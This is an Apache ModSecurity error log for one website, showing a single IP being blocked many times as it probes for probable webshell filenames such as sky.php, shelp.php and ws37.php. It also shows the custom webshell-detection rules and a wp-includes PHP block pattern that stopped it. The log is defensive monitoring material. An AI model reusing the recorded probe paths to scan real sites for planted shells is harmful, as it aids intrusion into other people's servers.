[Fri Apr 24 19:23:13.743830 2026] [:error] [pid 4177:tid 4185] [client 20.107.212.3:3709] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aetSoX2asKnvdrSe0x7bcQAAAYA"]
[Fri Apr 24 19:23:16.228087 2026] [:error] [pid 17720:tid 17757] [client 20.107.212.3:26676] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aetSpOhlUs6BS3Ng7_WDJAAAAMM"]
[Fri Apr 24 19:23:18.225583 2026] [:error] [pid 22114:tid 22136] [client 20.107.212.3:57421] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aetSpoAuWGz3WlMQjoffsAAAARM"]
[Fri Apr 24 19:23:22.435470 2026] [:error] [pid 17719:tid 17748] [client 20.107.212.3:44721] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aetSqsTZ9gzEyL1BkPqaTgAAAJU"]
[Fri Apr 24 19:23:23.449040 2026] [:error] [pid 17720:tid 17777] [client 20.107.212.3:3821] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aetSq-hlUs6BS3Ng7_WDLAAAANc"]
[Fri Apr 24 19:23:24.708378 2026] [:error] [pid 17721:tid 17790] [client 20.107.212.3:33574] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aetSrOFXXkLeyDnfk_8pmgAAAAk"]
[Fri Apr 24 19:23:25.816722 2026] [:error] [pid 17719:tid 17737] [client 20.107.212.3:49091] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aetSrcTZ9gzEyL1BkPqaUQAAAIo"]
[Fri Apr 24 19:23:44.499172 2026] [:error] [pid 17721:tid 17787] [client 20.107.212.3:3702] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "aetSwOFXXkLeyDnfk_8psQAAAAY"]
[Fri Apr 24 19:23:46.939863 2026] [:error] [pid 17719:tid 17733] [client 20.107.212.3:65474] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "aetSwsTZ9gzEyL1BkPqaZwAAAIY"]
[Fri Apr 24 19:23:50.496198 2026] [:error] [pid 17721:tid 17792] [client 20.107.212.3:25614] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "aetSxuFXXkLeyDnfk_8ptQAAAAs"]
[Fri Apr 24 19:23:51.711132 2026] [:error] [pid 17719:tid 17743] [client 20.107.212.3:23572] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/son.php"] [unique_id "aetSx8TZ9gzEyL1BkPqabgAAAJA"]
[Fri Apr 24 19:23:53.228280 2026] [:error] [pid 17720:tid 17772] [client 20.107.212.3:22031] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "aetSyehlUs6BS3Ng7_WDhwAAANI"]
[Fri Apr 24 19:23:54.126566 2026] [:error] [pid 14531:tid 14535] [client 20.107.212.3:27786] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "aetSynfLU2gw-6KR-GazcgAAAUI"]
[Fri Apr 24 19:23:55.884502 2026] [:error] [pid 4177:tid 4202] [client 20.107.212.3:22561] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "aetSy32asKnvdrSe0x7cYAAAAZE"]
[Fri Apr 24 19:23:57.566510 2026] [:error] [pid 4177:tid 4187] [client 20.107.212.3:50935] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dev.php"] [unique_id "aetSzX2asKnvdrSe0x7cagAAAYI"]
[Fri Apr 24 19:24:02.072070 2026] [:error] [pid 17720:tid 17758] [client 20.107.212.3:25637] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "aetS0uhlUs6BS3Ng7_WDoAAAAMQ"]
[Fri Apr 24 19:24:03.298497 2026] [:error] [pid 17808:tid 17826] [client 20.107.212.3:46638] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "aetS0-arbOEFI8qshvIcgAAAAFA"]
[Fri Apr 24 19:24:05.870726 2026] [:error] [pid 17719:tid 17736] [client 20.107.212.3:34612] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/99.php"] [unique_id "aetS1cTZ9gzEyL1BkPqaeQAAAIk"]
[Fri Apr 24 19:24:53.944855 2026] [:error] [pid 14531:tid 14547] [client 20.107.212.3:46144] [client 20.107.212.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "aetTBXfLU2gw-6KR-GaztQAAAU4"]
[Fri Apr 24 19:25:06.376429 2026] [:error] [pid 4177:tid 4190] [client 20.107.212.3:43123] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "aetTEn2asKnvdrSe0x7c9gAAAYU"]
[Fri Apr 24 19:25:08.800977 2026] [:error] [pid 17808:tid 17815] [client 20.107.212.3:27186] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "aetTFOarbOEFI8qshvIctwAAAEU"]
[Fri Apr 24 19:25:12.705515 2026] [:error] [pid 17808:tid 17822] [client 20.107.212.3:27888] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "aetTGOarbOEFI8qshvIcvgAAAEw"]
[Fri Apr 24 19:25:13.790477 2026] [:error] [pid 17808:tid 17826] [client 20.107.212.3:42582] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "aetTGearbOEFI8qshvIcwgAAAFA"]
[Fri Apr 24 19:25:18.216646 2026] [:error] [pid 17808:tid 17828] [client 20.107.212.3:51696] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "aetTHuarbOEFI8qshvIcyQAAAFI"]
[Fri Apr 24 19:25:25.419502 2026] [:error] [pid 22114:tid 22133] [client 20.107.212.3:39887] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "aetTJYAuWGz3WlMQjoff6QAAARA"]
[Fri Apr 24 19:25:28.091373 2026] [:error] [pid 4177:tid 4191] [client 20.107.212.3:61561] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws37.php"] [unique_id "aetTKH2asKnvdrSe0x7dGwAAAYY"]
[Fri Apr 24 19:25:36.633133 2026] [:error] [pid 4177:tid 4194] [client 20.107.212.3:46687] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "aetTMH2asKnvdrSe0x7dOAAAAYk"]
[Fri Apr 24 19:25:37.423701 2026] [:error] [pid 4177:tid 4206] [client 20.107.212.3:60095] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "aetTMX2asKnvdrSe0x7dOgAAAZU"]
[Fri Apr 24 19:25:38.513187 2026] [:error] [pid 4177:tid 4201] [client 20.107.212.3:3075] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "aetTMn2asKnvdrSe0x7dPgAAAZA"]
[Fri Apr 24 19:25:39.861271 2026] [:error] [pid 17808:tid 17830] [client 20.107.212.3:32077] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sky.php"] [unique_id "aetTM-arbOEFI8qshvIc5wAAAFQ"]
[Fri Apr 24 19:25:41.123287 2026] [:error] [pid 17808:tid 17815] [client 20.107.212.3:40408] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bojcdooq.php"] [unique_id "aetTNearbOEFI8qshvIc7AAAAEU"]
[Fri Apr 24 19:25:48.748445 2026] [:error] [pid 4177:tid 4208] [client 20.107.212.3:3441] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bojcdooq.php"] [unique_id "aetTPH2asKnvdrSe0x7dUAAAAZc"]
[Fri Apr 24 19:25:50.835034 2026] [:error] [pid 17808:tid 17819] [client 20.107.212.3:18897] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bojcdooq.php"] [unique_id "aetTPuarbOEFI8qshvIc-QAAAEk"]
[Fri Apr 24 19:25:53.806210 2026] [:error] [pid 17719:tid 17738] [client 20.107.212.3:45626] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bojcdooq.php"] [unique_id "aetTQcTZ9gzEyL1BkPqaqAAAAIs"]
[Fri Apr 24 19:25:55.354537 2026] [:error] [pid 4177:tid 4196] [client 20.107.212.3:18516] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "aetTQ32asKnvdrSe0x7dYgAAAYs"]
[Fri Apr 24 19:25:56.865306 2026] [:error] [pid 17719:tid 17740] [client 20.107.212.3:57472] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "aetTRMTZ9gzEyL1BkPqaqQAAAI0"]
[Fri Apr 24 19:25:58.467670 2026] [:error] [pid 17808:tid 17824] [client 20.107.212.3:60055] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "aetTRuarbOEFI8qshvIc_wAAAE4"]
[Fri Apr 24 19:26:01.732026 2026] [:error] [pid 17721:tid 17805] [client 20.107.212.3:18557] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "aetTSeFXXkLeyDnfk_8qEgAAABg"]
[Fri Apr 24 19:26:03.207757 2026] [:error] [pid 22114:tid 22123] [client 20.107.212.3:63986] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "aetTS4AuWGz3WlMQjoff-AAAAQY"]
[Fri Apr 24 19:26:04.669919 2026] [:error] [pid 17808:tid 17810] [client 20.107.212.3:40395] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "aetTTOarbOEFI8qshvIdDwAAAEA"]
[Fri Apr 24 19:26:24.717207 2026] [:error] [pid 14531:tid 14553] [client 20.107.212.3:26747] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shorw.php"] [unique_id "aetTYHfLU2gw-6KR-Ga0CwAAAVQ"]
[Fri Apr 24 19:26:26.629288 2026] [:error] [pid 14531:tid 14546] [client 20.107.212.3:51727] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shorw.php"] [unique_id "aetTYnfLU2gw-6KR-Ga0DwAAAU0"]
[Fri Apr 24 19:26:29.095563 2026] [:error] [pid 22114:tid 22128] [client 20.107.212.3:35181] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shorw.php"] [unique_id "aetTZYAuWGz3WlMQjofgBQAAAQs"]
[Fri Apr 24 19:26:30.824208 2026] [:error] [pid 14531:tid 14552] [client 20.107.212.3:3174] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shorw.php"] [unique_id "aetTZnfLU2gw-6KR-Ga0FwAAAVM"]
[Fri Apr 24 19:26:35.509590 2026] [:error] [pid 17720:tid 17759] [client 20.107.212.3:64519] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aetTa-hlUs6BS3Ng7_WEswAAAMU"]
[Fri Apr 24 19:26:37.951948 2026] [:error] [pid 4177:tid 4206] [client 20.107.212.3:38174] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aetTbX2asKnvdrSe0x7dywAAAZU"]
[Fri Apr 24 19:26:40.076112 2026] [:error] [pid 14531:tid 14555] [client 20.107.212.3:45107] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aetTcHfLU2gw-6KR-Ga0OwAAAVY"]
[Fri Apr 24 19:26:41.139364 2026] [:error] [pid 4177:tid 4205] [client 20.107.212.3:41943] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aetTcX2asKnvdrSe0x7d3wAAAZQ"]
[Fri Apr 24 19:26:41.921313 2026] [:error] [pid 17721:tid 17794] [client 20.107.212.3:51734] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seyv.php"] [unique_id "aetTceFXXkLeyDnfk_8qLwAAAA0"]
[Fri Apr 24 19:26:43.490683 2026] [:error] [pid 17720:tid 17769] [client 20.107.212.3:30337] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seyv.php"] [unique_id "aetTc-hlUs6BS3Ng7_WEvQAAAM8"]
[Fri Apr 24 19:26:44.626218 2026] [:error] [pid 17808:tid 17832] [client 20.107.212.3:41954] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seyv.php"] [unique_id "aetTdOarbOEFI8qshvIdTgAAAFY"]
[Fri Apr 24 19:26:48.095896 2026] [:error] [pid 17808:tid 17829] [client 20.107.212.3:48720] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seyv.php"] [unique_id "aetTeOarbOEFI8qshvIdTwAAAFM"]
[Fri Apr 24 19:27:20.291711 2026] [:error] [pid 14531:tid 14538] [client 20.107.212.3:27241] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad8210.php"] [unique_id "aetTmHfLU2gw-6KR-Ga0rwAAAUU"]
[Fri Apr 24 19:27:38.250214 2026] [:error] [pid 17720:tid 17761] [client 20.107.212.3:43589] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aetTquhlUs6BS3Ng7_WFHAAAAMc"]
[Fri Apr 24 19:27:39.361351 2026] [:error] [pid 4177:tid 4205] [client 20.107.212.3:35121] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aetTq32asKnvdrSe0x7efAAAAZQ"]
[Fri Apr 24 19:27:40.082883 2026] [:error] [pid 17721:tid 17803] [client 20.107.212.3:41989] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "aetTrOFXXkLeyDnfk_8qVwAAABY"]
